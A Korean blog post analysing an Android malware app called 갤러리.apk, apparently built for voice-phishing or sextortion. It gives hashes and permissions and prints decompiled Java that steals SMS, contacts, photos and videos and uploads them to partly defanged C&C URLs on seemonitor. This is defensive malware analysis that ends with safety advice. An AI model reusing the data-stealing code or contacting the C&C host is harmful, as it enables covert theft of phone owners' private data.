꿈을꾸는 파랑새

반응형

오늘은 안드로이드 악성코드인 갤럭리.apk 에 대해 글을 적어보겠습니다. 일단 해당 안드로이드 악성코드는 기본적으로 해당 악성코드는 개인적인 추측으로는 스마트폰에 있는 개인정보를 수집해서 보이스피싱 또는 몸캠으로 이용을 하지 않을까 생각이 됩니다.
보이스 피싱으로 사용을 하려고 사용이 되지 않을까 생각이 됩니다. 물론 몸캠이 가능성이 크지 않을까 생각이 됩니다.
일단 기본적으로 해당 악성코드는 동영상 및 사진 업로드 및 훔치기, 문자(SMS) 훔치기, 연락처 훔치기, C&C 서버 및 원격 조작 위치로 구성돼 있고 기본적으로 안드로이드 만들 때 소스를 보면 중국어가 있는 것으로 보면 아마도 중국에서 제작된 것이 아닐까 생각이 됩니다.
먼저 해당 악성코드를 실행하면 모든 권한을 다 허용을 해주고 나서 실행을 하면 오류: 전산처리 중인 입급내역금액감지 라는 부분이 메시지가 뜨는 것을 볼 수가 있습니다. 이렇게 보면 금융관련보이스피싱 앱 같기도 합니다.
일단 해당 앱의 해쉬값은 다음과 같습니다.
해시 값
MD5:255ae7235bb63ee99db279a32b42cb38
SHA-1:51e15e510488fd6a5dde19748b26968afbf5b1c2
SHA-256:f9cd2435f3d468336ec42492e5a2be9d3f2098961bf0f256d05faa03ca6980c5

갤러리.apk(2020.10.21) 실행 화면갤러리.apk(2020.10.21) 실행 화면

그리고 악성코드가 요구하는 권한은 다음과 같습니다.
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

갤러리.apk(2020.10.21) 아이콘갤러리.apk(2020.10.21) 아이콘

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
그리고 안드로이드 권한은 android.permission=??로 돼 있는 것이 안드로이드 권한입니다. 보시면 외장디스크에도 접근하는 것을 볼 수가 있습니다. 이유는 계속 적어보겠습니다.

갤러리.apk(2020.10.21) 안드로이드 권한갤러리.apk(2020.10.21) 안드로이드 권한

악성코드 액티브
com.open.studyvideo.MainActivityBak
com.yanzhenjie.permission.PermissionActivity
악성코드 서비스
com.open.studyvideo.RunService
Receivers
com.open.studyvideo.receiver.SmsReceiver
com.open.studyvideo.receiver.AutoRunReceiver
입니다. 여기서 스마트폰에 있는 동영상, 사진 등을 훔쳐서 몰래 서버로 올리게 돼 있습니다.

com.open.studyvideo.MainActivityBak 화면com.open.studyvideo.MainActivityBak 화면

동영상 및 사진 업로드 및 훔치기
 F}
          HashMap<Object, Object> hashMap1 = new HashMap<Object, Object>();
          hashMap1.put("upload", file);
          HashMap<Object, Object> hashMap2 = new HashMap<Object, Object>();
          hashMap2.put("phone", this.a);
          hashMap2.put("time", String.valueOf(album.getAddTime()));
          Result result = (Result)this.c.a(b(), hashMap2, hashMap1, Result.class, null);
          i = j;
          if (result != null) {
            i = j;
            if (result.isSuccess()) {
              c.a(this.b, album.getId());
              i = j;
            }
          }
        }
      }
      d = System.currentTimeMillis();
      return true;
    } catch (Exception exception) {
      exception.printStackTrace();
      return true;
    }
  }
  protected String b() {
    return "http://api082803.seemonitor.xy?/uploadAlbum.htm";
  }
}

스마트폰 동영상 및 사진 업로드 및 훔치기스마트폰 동영상 및 사진 업로드 및 훔치기그리고 스마트폰에 있는 문자(SMS)를 훔치는 부분은 다음과 같습니다.
문자(SMS) 훔치기
public List<Message> a(String paramString) {
    ArrayList<Message> arrayList = new ArrayList();
    try {
      Cursor cursor = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
      int i = 0;
      if (cursor.moveToFirst()) {
        int j = cursor.getColumnIndex("person");
        int k = cursor.getColumnIndex("address");
        int m = cursor.getColumnIndex("body");
        int n = cursor.getColumnIndex("date");
        int i1 = cursor.getColumnIndex("type");
        while (true) {
          cursor.getString(j);
          String str1 = cursor.getString(k);
          String str2 = cursor.getString(m);
          SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
          Date date = new Date(Long.parseLong(cursor.getString(n)));
          simpleDateFormat.format(date);
          String str3 = (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(date);
          if (cursor.getInt(i1) == 1);
          Message message = new Message();
          message.setPhone(paramString);
          message.setReceiverPhone(str1);
          message.setSenderPhone(str1);
          message.setSendTime(str3);
          message.setContent(str2);
          arrayList.add(message);
          int i2 = i + 1;
          boolean bool = cursor.moveToNext();
......
 protected String b() {
    return "http://api082803.seemonitor.x?z/uploadSms.htm";
  }
}

스마트폰 문자(SMS) 훔치기스마트폰 문자(SMS) 훔치기

그리고 연락처 훔치는 부분은 다음과 같습니다.
public class b {
  public static ArrayList<MyContacts> a(Context paramContext) {
    ArrayList<MyContacts> arrayList = new ArrayList();
    Cursor cursor = paramContext.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
    while (cursor.moveToNext()) {
      MyContacts myContacts = new MyContacts();
      String str = cursor.getString(cursor.getColumnIndex("_id"));
      myContacts.setName(cursor.getString(cursor.getColumnIndex("display_name")));
      ContentResolver contentResolver = paramContext.getContentResolver();
      Uri uri = ContactsContract.CommonDataKinds.Phone.CONTENT_URI;
      StringBuilder stringBuilder = new StringBuilder();
      stringBuilder.append("contact_id=");
      stringBuilder.append(str);
      Cursor cursor1 = contentResolver.query(uri, null, stringBuilder.toString(), null, null);
      while (cursor1.moveToNext())
        myContacts.setPhone(cursor1.getString(cursor1.getColumnIndex("data1")).replace("-", "").replace(" ", ""));
      arrayList.add(myContacts);
      cursor1.close();
    }
    cursor.close();
    return arrayList;
  }
}

스마트폰 연락처 훔치기스마트폰 연락처 훔치기

C&C 서버 및 원격 조작 위치는 다음과 같습니다.
public class f extends a {
  protected String b() {
    return "http://api082803.seemonitor.xy?/sychonizeUser.htm";
  }

C&C 서버 및 원격 조작 위치C&C 서버 및 원격 조작 위치

중국 로그는 다음과 같습니다.
  private void b(Context paramContext) {
    String str;
    NetworkInfo networkInfo = ((ConnectivityManager)paramContext.getSystemService("connectivity")).getActiveNetworkInfo();
    d.a("############);
    if (networkInfo == null) {
      str = "";
    } else {
      StringBuilder stringBuilder = new StringBuilder();
      stringBuilder.append("******);
      stringBuilder.append(networkInfo.getTypeName());
      d.a(stringBuilder.toString());
      if (1 == networkInfo.getType()) {
        a("");
        a(true);
        return;
      }
      if (networkInfo.getType() == 0) {
        str = b.a((Context)str);
      } else {
        return;
      }

중국어 로그중국어 로그

그리고 해당 APK에 들어가 져 있는 중국어를 구글 번역기 돌리면 다음과 같은 결과를 얻을 수가 있습니다.
중국어 번역
当前网络状态改变:현재 네트워크 상태 변경
当前活动网络为:현재활성화 네트워크
입니다.
C&C 서버 및 원격조작 주소는 다음과 같습니다.
http://api082803.seemonitor.xy?/sychonizeUser.htm
http://api082803.seemonitor.xy?/uploadAlbum.htm
http://api082803.seemonitor.xy?/uploadSms.htm
http://api082803.seemonitor.xy?/uploadContact.htm
스마트폰에서 개인정보 훔치는 내용
SMS(문자)
contacts(연락처)
media(사진 및 동영상)
C2 서버:api082803.seemonitor.xy?

스마트폰 개인정보 업로드 홈페이지스마트폰 개인정보 업로드 홈페이지

그리고 웹사이트 도메인 위치는 다음과 같습니다.
도메인 위치
IP: Api082803.seemonitor.xy?
Continent:North America (NA)
Country:United States
IP Location Find In United States (US)
Capital:Washington
State:Unknown
City Location:Unknown
ISP:CloudRadium L.L.C
Organization:CloudRadium L.L.C
AS Number:AS33330 CloudRadium L.L.C
Time Zone::America/North_Dakota/Center

스마트폰 개인정보 업로드 홈페이지 서버 국가스마트폰 개인정보 업로드 홈페이지 서버 국가

예전에는 홍콩이었는데 미국으로 변경된 것을 확인할 수가 있었습니다. 그리고 접속을 해보면 아이디, 비밀번호를 입력하라고 하는데 일단 아무겠나 눌러서 접속되지 않고 해당 부분은 악성코드 제작자들이 운영하는 곳인 것 같습니다.
언제나 이런 글을 쓰면 적는 말이지만 공식스토어 에서도 악성코드가 있는데 외부 사이트에서 받은 외부 APK 파일은 설치하지 않는 것이 좋으며 그리고 백신 앱은 설치를 해서 운영하는 것이 좋은 방법일 것입니다.
그 일단 구글 크롬, 파이어폭스 등이 악성코드 유포 사이트 및 피싱사이트 차단을 받는 서비스인 세이프브라이징에서는 일단 탐지가 되지 않아서 신고했습니다.

728x90
반응형

이 글을 공유합시다

facebook twitter googleplus kakaostory naver

본문과 관련 있는 내용으로 댓글을 남겨주시면 감사하겠습니다.

비밀글모드